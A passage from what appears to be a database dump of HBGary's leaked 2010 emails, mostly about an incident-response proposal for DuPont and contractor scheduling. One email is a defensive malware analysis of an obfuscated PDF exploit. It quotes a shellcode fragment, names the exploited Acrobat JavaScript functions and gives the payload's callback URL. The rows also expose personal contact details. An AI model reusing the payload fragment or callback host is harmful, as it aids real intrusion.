Foundstone)o&nbsp;&nbsp;&nbsp;Define the Mission:&nbsp;§&nbsp;&nbsp;HBGary·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Identify any compromised hosts inside of the Dupont Manufacturing facility – Up to 600 Windows machines·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Provide a “Risk Intelligence” report to help Dupont explaining the nature of any found threats§&nbsp;&nbsp;Dupont·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dupont wants to build a case for a more comprehensive security strategy and approach to mitigating risk across the enterprise·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Dupont is hopeful this investigation will help them to get the executive support needed to accomplish this goalo&nbsp;&nbsp;&nbsp;What are we going to do?o&nbsp;&nbsp;&nbsp;How are we going to do this?§&nbsp;&nbsp;Task 1 – list out details for each task§&nbsp;&nbsp;Task 2§&nbsp;&nbsp;Task 3o&nbsp;&nbsp;&nbsp;Dominate the Environment - Roles and Responsibilities§&nbsp;&nbsp;Who is who in the zoo?o&nbsp;&nbsp;&nbsp;What could possibly go wrong in the order of probabilityo&nbsp;&nbsp;&nbsp;What are the contingencies and countermeasures?&nbsp;&nbsp;Thanks,Rich&nbsp;&lt;Services Proposal for Dupont ver4_RWC.docx&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8238,'aaron_hbgary_com/8238.html'),(2380,'2010-02-10','\"Phil Wallisch\" <phil@hbgary.com>','/aaron@hbgary.com/new/1297001088.M541623P3547Q2381.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,','Re: Dupont Proposal v4 - Need your help to finish please','Answered in-line with blue font:On Wed, Feb 10, 2010 at 8:14 AM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n \r\n\r\nWere on the home stretch here.  A couple more things need to\r\nhappen to get this solidified, sent off to DuPont, and get us ready to deliver\r\nas soon as Monday.  Please look below and provide any input you may have.  \r\n\r\n \r\n\r\n \r\n\r\n·        \r\nFinish Proposal – This morning\r\n\r\no  \r\nI accepted Phil’s suggestions and I’ve\r\nadded a couple comments.\r\n\r\no  \r\nStill need pricing broken out for Task 2 –\r\nBob – Aaron – Ted, Penny?\r\n\r\no  \r\nDo we remove Task 3 Remediation completely?  I\r\nthink so mainly because we don’t recommend trying to clean a machine but\r\nto only wipe and rebuild.  \r\n\r\no  \r\nLegal Jargon needs to be reviewed and approved –\r\nPenny?\r\n\r\n·        \r\nResources from Partners Foundstone or PWC – \r\nToday\r\n\r\no  \r\nPrimary requirement for consultants would be to\r\nhelp out analyzing machines, documentation, tracking events and timeline.  \r\n\r\n§  Phil\r\nsaid PWC could help – they would cost roughly 300 per hour\r\n\r\no  \r\nWhat about Foundstone?  Penny\r\ncan you call them or let me know who the contact is and I will call them.\r\n\r\n§  What\r\ndo they cost?  Who are they?  \r\n\r\n§  How\r\nsoon can they be available?  Can we see resumes?  We should list the technical\r\nrequirements of the resources available\r\n\r\n·        \r\nActive Defense Software from Engineering –\r\nRich is working with Greg\r\non this.  Phil what is missing, what are your\r\nthoughts?The Altiris deployment is the X-factor for me.  It&#39;s untested (to my knowledge) and probably can&#39;t be relied up on as our first choice for agent distribution.  I believe a network discovery task is an essential first step.  We&#39;ve asked for network diagrams which is great.  We&#39;ll also need the Active Directory container dump, the Altiris agent list, and permission to do a nmap sweep of all ranges associated with the facility.  We should spend a little time collating and diffing these lists.\r\nProviding the customer with an accurate node count and diagram is a deliverable in and of itself.  But to another end it covers us.  We swept XXX nodes that were discovered via diverse means...\r\n\r\n\r\no  \r\nGreg is working to make sure I have a solid copy\r\nof Active Defense (AD) to use on site at the customers.\r\n\r\no  \r\nGoal is to have a working copy of AD on my\r\nlaptop by Friday night so I can test this weekend and deploy on MondayWe should have multiple laptops installed and ready to sweep.  Who knows what physical constraints we&#39;ll have e.g. isolated segments.  We could multi-thread our scans. \r\n\r\n\r\no  \r\nTalk with Engineering about deploying the DDNA\r\nagent via Altiris using command line switches\r\n\r\n§  Instead\r\nof using WMI through AD * this will happen frequently if customer has existing\r\nsystem they are familiar with\r\n\r\n·        \r\nItems we need from DuPont prior to commencement\r\nof project – Phil, what is missing here?\r\n\r\no  \r\nList of all security software and applications on\r\ntheir standard build of workstation and server\r\n\r\no  \r\nCopies of known good Gold Builds or VMware images\r\nwould be great for us to make sure our DDNA is dialed-in for their known stuff\r\n\r\no  \r\nNetwork diagrams to include Gateways, Routers,\r\nFirewalls, Ingress &amp; Egress points\r\n\r\no  \r\nWhat Security related data is available to us?\r\n\r\n§  SIM\r\nTool?\r\n\r\n§  IDS?\r\nIPS?\r\n\r\n§  Firewall\r\nLogs?\r\n\r\n§  What\r\nis logging policy?  What is logged?  How long are logs kept?All good questions above.  We need a Dupont rep on this effort full-time to reduce waiting time for answers to questions that come up from our searches through the above logs. \r\n\r\n\r\n·        \r\nAdditional Software required by team to be\r\nsuccessful – Phil, Greg, Ted, Aaron? PWC and Foundstone\r\n\r\no  \r\nForensics\r\n\r\n§  Encase\r\nEnterprise – got it for enterprise searching, forensic preservation/duplication\r\nand analysis \r\n\r\no  \r\nNetwork Data – This appears to be a small shop.  I&#39;d like to request that we get permission to deploy our own network sensor.  Specifically Bothunter from SRI.  It&#39;s a specialized Snort that looks for bot traffic.  We can tweak it to look for the C&amp;C commos from Aurora.  We just need a SPAN port on their egress point.\r\n\r\n\r\n§  Log\r\nAnalysis\r\n\r\n·        \r\nSplunk – freeware to help analyze logs\r\n\r\n·        \r\nOSSec- Open source log analysis\r\n\r\n·        \r\nIndexing Software – I’ve got a copy\r\nof DT Search to index logs if needed\r\n\r\n§  Packet\r\nData Capture &amp; Analysis –\r\n\r\n·        \r\nWireshark – \r\n\r\n·        \r\nNetwitness – freewareSnort loaded with ET sigs. \r\n\r\n\r\no  \r\nVisualization and Link Analysis\r\n\r\n§  Palantir?\r\n\r\n\r\n·        \r\nI haven’t installed yet.. need to today\r\n\r\n·        \r\nCan we get some Risk Intelligence from End-Game? \r\nAaron\r\n\r\no  \r\nActive command and control servers for Aurora\r\n\r\no  \r\nOther relevant info to help mitigate threats at\r\nthe gateway\r\n\r\n \r\n\r\n·        \r\nPlan the Mission:  Document the Action Plan,\r\nProcess, and Work-Flow (Phil, Rich, Greg, Ted, Aaron,\r\nPWC or Foundstone)\r\n\r\no  \r\nDefine the Mission:  \r\n\r\n§  HBGary\r\n\r\n\r\n·        \r\nIdentify any compromised hosts inside of the\r\nDupont Manufacturing facility – Up to 600 Windows machinesWe can offer Unix reviews through our PwC partners too.  Why leave any stone unturned?  It&#39;s not quite memory analysis but it does cover best practices and log review.  Also I could perform this if needed.\r\n \r\n\r\n·        \r\nProvide a “Risk Intelligence” report\r\nto help Dupont explaining the nature of any found threats\r\n\r\n§  Dupont\r\n\r\n\r\n·        \r\nDupont wants to build a case for a more\r\ncomprehensive security strategy and approach to mitigating risk across the\r\nenterprise\r\n\r\n·        \r\nDupont is hopeful this investigation will help\r\nthem to get the executive support needed to accomplish this goal \r\n\r\no  \r\nWhat are we going to do?\r\n\r\no  \r\nHow are we going to do this?\r\n\r\n§  Task\r\n1 – list out details for each task \r\n\r\n§  Task\r\n2\r\n\r\n§  Task\r\n3\r\n\r\no  \r\nDominate the Environment - Roles and Responsibilities\r\n\r\n§  Who\r\nis who in the zoo?Yes.  Rich is lead and should direct the partners and the Dupont rep. \r\n\r\n\r\no  \r\nWhat could possibly go wrong in the order of probability\r\n\r\no  \r\nWhat are the contingencies and countermeasures?Will call you about this. \r\n\r\n\r\n \r\n\r\n \r\n\r\nThanks,\r\nRich\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2761,'aaron_hbgary_com/2761.html'),(2381,'2010-02-10','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001088.M61125P3547Q2379.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Do any of your guys have','We have a telecom with Jadik at 3.  I did slides at 3AM this morning.  \r\n\r\nWhat is GD bringing to the DARPA BAA?  As long as we make money and it\r\nis cool, no problem.\r\n\r\nStill have not read your email with answers to the questions from\r\nFriday.  Only had my bb and the format was haywire.  Trying to get\r\nthrough emails before my 10AM mtg.\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, February 10, 2010 8:46 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Do any of your guys have\r\n\r\nsounds good.  I have another snow bound day.  I am sure the NGES meeting\r\nwill not go on as planned. We have a backup time on Friday at 3pm.  How\r\ndid your conversation with Jadik go?  Is he going to be at the Friday\r\ndiscussion?  What would you think about a GD/NGES/HBGary team going\r\nafter the DARPA BAA?\r\n\r\nAaron\r\nOn Feb 10, 2010, at 8:44 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Not practical IR experience.  I am sure some of the guys have done it\r\nas\r\n> a matter of their program work.\r\n> \r\n> Talk:  yeah, when?  I have a 10-12.  How about right after that at 12?\r\n> \r\n> Brian Masterson \r\n> Northrop Grumman/Xetron \r\n> Chief Technology Officer, IO Programs \r\n> Ph: 513-881-3591 \r\n> Cell: 513-706-4848 \r\n> Fax: 513-881-3877 \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, February 10, 2010 8:38 AM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Do any of your guys have\r\n> \r\n> IR experience background?\r\n> \r\n> I am going to start getting more incident response requests.  I am\r\n> currently going to use Foundstone and PwC but was wondering if your\r\nguys\r\n> had any background here?\r\n> \r\n> can we talk today?\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',13334,'aaron_hbgary_com/13334.html'),(2382,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001088.M783292P3547Q2382.eml','\"Cassie Robinson\" <cassie.robinson@ngc.com>','Is the meeting still on?','I am hoping not. :)\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10258,'aaron_hbgary_com/10258.html'),(2383,'2010-02-10','\"Willis, Dan\" <Dan.Willis@macb.com>','/aaron@hbgary.com/new/1297001095.M189307P3547Q2383.eml','\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com,\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com','GUARDIAN TECH INPUT DATA CALL','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGents,\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Slight\r\nchange of plans.&nbsp; Our tech guys are still writing so in the interest of\r\ntime I&#8217;ve decided to go with your input independently.&nbsp; Please take\r\nthe SOW and attached outline and give me some unique discriminators and or\r\nprocesses that you use.&nbsp; I&#8217;ll lay this on top of what we&#8217;ve\r\nproduced.&nbsp; Your capabilities matrix is a good start but I know there&#8217;s\r\nmore that you&#8217;d like to add (i.e., things we talked about yesterday).\r\n\r\n&nbsp;\r\n\r\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; COB\r\nFriday, if possible.\r\n\r\n&nbsp;\r\n\r\nThanks,\r\n\r\nDan\r\n\r\n&nbsp;\r\n\r\n____________________\r\n\r\nDan B.\r\nWillis\r\n\r\nDirector, IO\r\nPrograms\r\n\r\nInformation\r\nDominance Division\r\n\r\nMacAulay-Brown,\r\nInc.\r\n\r\nOffice&nbsp; (210)\r\n732-7417\r\n\r\nFax&nbsp;&nbsp;&nbsp;&nbsp;\r\n(210) 732-1012\r\n\r\nMobile (210)\r\n363-2332\r\n\r\nWeb&nbsp;&nbsp;&nbsp;&nbsp;\r\nwww.macb.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6562,'aaron_hbgary_com/6562.html'),(2384,'2010-02-10','\"Willis, Dan\" <Dan.Willis@macb.com>','/aaron@hbgary.com/new/1297001095.M838540P3547Q2384.eml','\"Ted Vera\" <ted@hbgary.com>,aaron@hbgary.com','HBGARY INTRO PARA','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCan I also get a paragraph\r\ndescribing your company that we can put in the intro?\r\n\r\n&nbsp;\r\n\r\nThanks.\r\n\r\n&nbsp;\r\n\r\n____________________\r\n\r\nDan B.\r\nWillis\r\n\r\nDirector, IO\r\nPrograms\r\n\r\nInformation\r\nDominance Division\r\n\r\nMacAulay-Brown,\r\nInc.\r\n\r\nOffice&nbsp; (210)\r\n732-7417\r\n\r\nFax&nbsp;&nbsp;&nbsp;&nbsp;\r\n(210) 732-1012\r\n\r\nMobile (210)\r\n363-2332\r\n\r\nWeb&nbsp;&nbsp;&nbsp;&nbsp;\r\nwww.macb.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16393,'aaron_hbgary_com/16393.html'),(2385,'2010-02-10','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001096.M674949P3547Q2385.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny C. Hoglund\" <penny@hbgary.com>','DuPont ver 5','Team,\r\n \r\nThe doc is nearing completion.\r\n- Go over the pricing section. Our goal is to request enough money to do the job, but keep it reasonable so DuPont knows our objectives are focused.  As Rich and I discussed, our objective is not like PwC&#39;s who wants to &quot;get in their knickers and stay there&quot;.  Our objectives are to prove they have an APT problem, that they can trust HBGary, and that DDNA rocks.  I can see how we could prove they are in deep kaka in 1/4 the time of this proposal, but if DDNA doesn&#39;t flag the problem straight off then we will need more time to dig deeper.  Might need to state that we will leave early if it makes sense.\r\n\r\n- Make sure the Tasks and underlying details are correct.\r\n- Penny reviews the legal language.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',15208,'aaron_hbgary_com/15208.html'),(2386,'2010-02-10','\"Penny Leavy\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297001096.M867213P3547Q2386.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,','Re: Dupont SOW','Looks good.  I would confirm we can work with Foundstone at a certain\r\nprice.  I would call Maria she is conduit into Foundstone.  Legal\r\nlooks good for now, but over time we need to develop our template.\r\n\r\nOn Tue, Feb 9, 2010 at 4:31 PM, Rich Cummings  wrote:\r\n> Guys,\r\n>\r\n>\r\n>\r\n> Please take a look at the scope of work for Dupont, we need to get this out\r\n> to them ASAP.\r\n>\r\n>\r\n>\r\n> Things we still need.\r\n>\r\n>\r\n>\r\n> 1.       Pricing – see what is in the doc…  I think we should provide an\r\n> hourly rate like Aaron and I discussed ($300 per hour).  It’s currently got\r\n> something that appears to be a  Firm Fixed Price… not going to fly here in\r\n> my opinion.  While I believe we could charge them more, I don’t want to take\r\n> advantage of them.  This is to set them up for a long term relationship and\r\n> enterprise purchase.\r\n>\r\n> 2.       How much will foundstone and PWC charge to us as a sub-contractor?\r\n>\r\n> a.       Phil?  Do you know how much they would charge us?\r\n>\r\n> b.      Penny, what about Foundstone prices?\r\n>\r\n> 3.       I believe we also need to propose 3 to 4 people for this project\r\n> for Phase 1.   Personally I would like to back out after Phase 1 and the\r\n> beginning of phase 2 so I can get back to HBGary work.  With that said it\r\n> would be nice to have 3 guys from either PWC or Foundstone to augment myself\r\n> and Phil’s work.\r\n>\r\n>\r\n>\r\n> Rich\r\n>\r\n>\r\n>\r\n>\r\n\r\n\r\n\r\n-- \r\nPenny C. Leavy\r\nHBGary, Inc.\r\n',6130,'aaron_hbgary_com/6130.html'),(2387,'2010-02-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297001097.M314934P3547Q2388.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: did u get this','Got it\r\n\r\n\r\n\r\nOn Feb 10, 2010, at 8:46 AM, Aaron Barr  wrote:\r\n\r\n> hello?\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n>\r\n>\r\n',6747,'aaron_hbgary_com/6747.html'),(2388,'2010-02-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001097.M646939P3547Q2389.eml','\"Phil Wallisch\" <phil@hbgary.com>','Re: PDF exploit','whats ur extension?AaronOn Jan 19, 2010, at 11:06 PM, Phil Wallisch wrote:Brian,You were right in suspecting this PDF of malicious behavior.&nbsp; I performed static analysis of it tonight.&nbsp; I\'m in trouble with the wife for leaving my in-law\'s early but it was worth it.&nbsp; You have a HIGHLY obfuscated sample here.&nbsp; OK let\'s begin...\r\nAs you know PDFs are divided into objects.&nbsp; Most tools depend of the ability to define these object boundaries.&nbsp; This attacker used a trick I have seen until tonight.&nbsp; He obfuscated the filter definitions.&nbsp; So let\'s look at object 6 as it appears in pdf-parser.py output:\r\n&nbsp;obj 6 0&nbsp;Type:&nbsp;Referencing:&nbsp;Contains stream&nbsp;[(2, \'&lt;&lt;\'), (2, \'/#4ce#6e#67#74#68\'), (1, \' \'), (3, \'5387\'), (2, \'/Filt#65#72\'), (2, \'[\'), (2, \'/#41SCI#49H#65x#44#65code\'), (1, \' \'), (2, \'/L#5a#57#44#65#63ode\'), (1, \' \'), (2, \'/#41#53#43I#4985#44#65#63od#65\'), (1, \' \'), (2, \'/Ru#6eL#65#6eg#74hDe#63o#64#65\'), (1, \' \'), (2, \'/#46#6ca#74e#44e#63#6f#64e\'), (2, \']\'), (2, \'&gt;&gt;\'), (1, \'\\r\\r\\n\')]\r\n&nbsp;&lt;&lt;&nbsp;&nbsp; /#4ce#6e#67#74#68 5387&nbsp;&nbsp; /Filt#65#72 [&nbsp;&nbsp; /#41SCI#49H#65x#44#65code /L#5a#57#44#65#63ode&nbsp;&nbsp; /#41#53#43I#4985#44#65#63od#65 /Ru#6eL#65#6eg#74hDe#63o#64#65&nbsp;&nbsp; /#46#6ca#74e#44e#63#6f#64e ]\r\n&nbsp;&gt;&gt;I noticed the #XX pattern.&nbsp; It looks like a hex value.&nbsp; I wrote a perl one-liner to change the hex to ascii like this:cat donotgorookie-pdf-parse.txt | perl -pe \'s/#(..)/chr(hex($1))/ge\'\r\nThis gave me the deobfuscated object info:obj 6 0&nbsp;Type:&nbsp;Referencing:&nbsp;Contains stream&nbsp;[(2, \'&lt;&lt;\'), (2, \'/Length\'), (1, \' \'), (3, \'5387\'), (2, \'/Filter\'), (2, \'[\'), (2, \'/ASCIIHexDecode\'), (1, \' \'), (2, \'/LZWDecode\'), (1, \' \'), (2, \'/ASCII85Decode\'), (1, \' \'), (2, \'/RunLengthDecode\'), (1, \' \'), (2, \'/FlateDecode\'), (2, \']\'), (2, \'&gt;&gt;\'), (1, \'\\r\\r\\n\')]\r\n&nbsp;&lt;&lt;&nbsp;&nbsp; /Length 5387&nbsp;&nbsp; /Filter [&nbsp;&nbsp; /ASCIIHexDecode /LZWDecode&nbsp;&nbsp; /ASCII85Decode /RunLengthDecode&nbsp;&nbsp; /FlateDecode ]&nbsp;&gt;&gt;When you do this for all of the objects you\'ll see that object 5 calls object 6 and tells it to execute JavaScript:\r\nobj 5 0&nbsp;Type:&nbsp;Referencing: 6 0 R&nbsp;[(2, \'&lt;&lt;\'), (2, \'/Type\'), (2, \'/Action\'), (2, \'/S\'), (2, \'/JavaScript\'), (2, \'/JS\'), (1, \' \'), (3, \'6\'), (1, \' \'), (3, \'0\'), (1, \' \'), (3, \'R\'), (2, \'&gt;&gt;\')]\r\n&nbsp;&lt;&lt;&nbsp;&nbsp; /Type /Action&nbsp;&nbsp; /S /JavaScript&nbsp;&nbsp; /JS 6 0 R&nbsp;&gt;&gt;Anyway another problem was that the JS in object 6 is compressed five different ways:&nbsp; \r\n /ASCIIHexDecode /LZWDecode\r\n&nbsp;&nbsp; /ASCII85Decode /RunLengthDecode\r\n&nbsp;&nbsp; /FlateDecode ]Luckily pdf-parser was just updated to be able to handle LZW and RunLen encoding.&nbsp; So I extracted the stream from object 6 and ran it through all the filters required to get readable text:\r\n/tools/pdf/pdf-parser.py -f out.pdfNow we have some ugly JavaScript.&nbsp; Here\'s a snippit:function kJY(ksbPAFHa,OUCET){while(ksbPAFHa.length*2 &lt; OUCET){ksbPAFHa+=ksbPAFHa;}ksbPAFHa=ksbPAFHa.substring(0,OUCET/2);return ksbPAFHa;}function aOsbF(){var sdnFwWr=unescape(\"%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB.......\r\nI used a few tricks to get the code in readable format.&nbsp; From here I can determine the PDF is exploiting the following based on app.viewer.version:Collab.getIconCollab.collectEmailInfo\r\nutil.printfI extracted the shellcode and made it a binary using http://sandsprite.com/shellcode_2_exe.php.Now I import the static binary into Responder Pro and determine that the shellcode talks to:\r\nhttp://fridayalways.com/kvusa/loadpdf.phpThis is a Russian domain registered on Christmas:Registrant:Name: dannisAddress: MoskowCity: Moskow\r\nProvince/state: MSKCountry: RUPostal Code: 130610Administrative Contact:Name: dannisOrganization: privat&nbsp; personAddress: MoskowCity: MoskowProvince/state: MSKCountry: RUPostal Code: 130610\r\nPhone: +7.9957737737Fax: +7.9957737737Email: moldavimo@safe-mail.netTechnical Contact:Name: dannisOrganization: privat&nbsp; personAddress: MoskowCity: Moskow\r\nProvince/state: MSKCountry: RUPostal Code: 130610Nameserver Information:&nbsp;&nbsp;&nbsp; ns3.01isp.com&nbsp;&nbsp;&nbsp; ns4.01isp.netCreate: 2009-12-25 21:47:37\r\nUpdate: 2009-12-25Expired: 2010-12-25As you can see this sample will defeat many automated scanners.&nbsp; I\'m working with the guys back in Cali on using REcon to automate many of these answers.&nbsp; But since you\'re our favorite customer I\'d like to know...Have I answered your questions?&nbsp; What other questions might you have?&nbsp; What types of things would you have to present to your boss?&nbsp; \r\nWe want REcon to be able to tell you what exploits a PDF launches, what domains it talks to, does the shellcode download a file or self extract, does the shellcode egg-hunt.&nbsp; You can see that this type of analysis can take time to do and we want to help you guys get to the answers you most care about quickly.\r\nFYI, I can provide your team my output files if needed (shellcode.exe, js, deobfuscated js, uncompressed pdf).On Tue, Jan 19, 2010 at 6:00 PM, Varine, Brian R &lt;Brian.Varine@dhs.gov&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nYeah, it’s tiny and it didn’t do anything\r\nwith Flypaper but man, something just smells. &nbsp;\r\n\r\nBrian Varine Chief, ICE Security\r\n Operations Center\r\nand CSIRCInformation Assurance Division, OCIOU.S. Immigration and Customs Enforcement202-732-2024\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Phil Wallisch\r\n[mailto:phil@hbgary.com] \r\nSent: Tuesday, January 19, 2010\r\n5:59 PM\r\nTo: Varine, Brian R\r\nSubject: Re: PDF exploit\r\n\r\n&nbsp;Well I couldn\'t resist at\r\nleast peaking before I left.&nbsp; Something is def. funky with it:\r\n\r\nobj 1 0\r\n&nbsp;Type:\r\n&nbsp;Referencing: 2 0 R, 3 0 R, 5 0 R\r\n&nbsp;[(2, \'&lt;&lt;\'), (2, \'/#54#79p#65\'), (2, \'/#43a#74alo#67\'), (2,\r\n\'/#4fu#74#6c#69#6ee#73\'), (1, \' \'), (3, \'2\'),\r\n(1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n, \' \'), (3, \'0\'), (1, \' \'), (3, \'R\'), (2, \'/P#61g#65#73\'), (1, \' \'), (3, \'3\'),\r\n(1, \' \'), (3, \'0\'), (1, \'\r\n\'),&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n(3, \'R\'), (2, \'/Op#65#6e#41#63#74ion\'), (1, \' \'), (3, \'5\'), (1, \' \'), (3, \'0\'),\r\n(1, \' \'), (3, \'R\'), (2, \'&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n\')]\r\n\r\n&nbsp;&lt;&lt;\r\n&nbsp;&nbsp; /#54#79p#65 /#43a#74alo#67\r\n&nbsp;&nbsp; /#4fu#74#6c#69#6ee#73 2 0 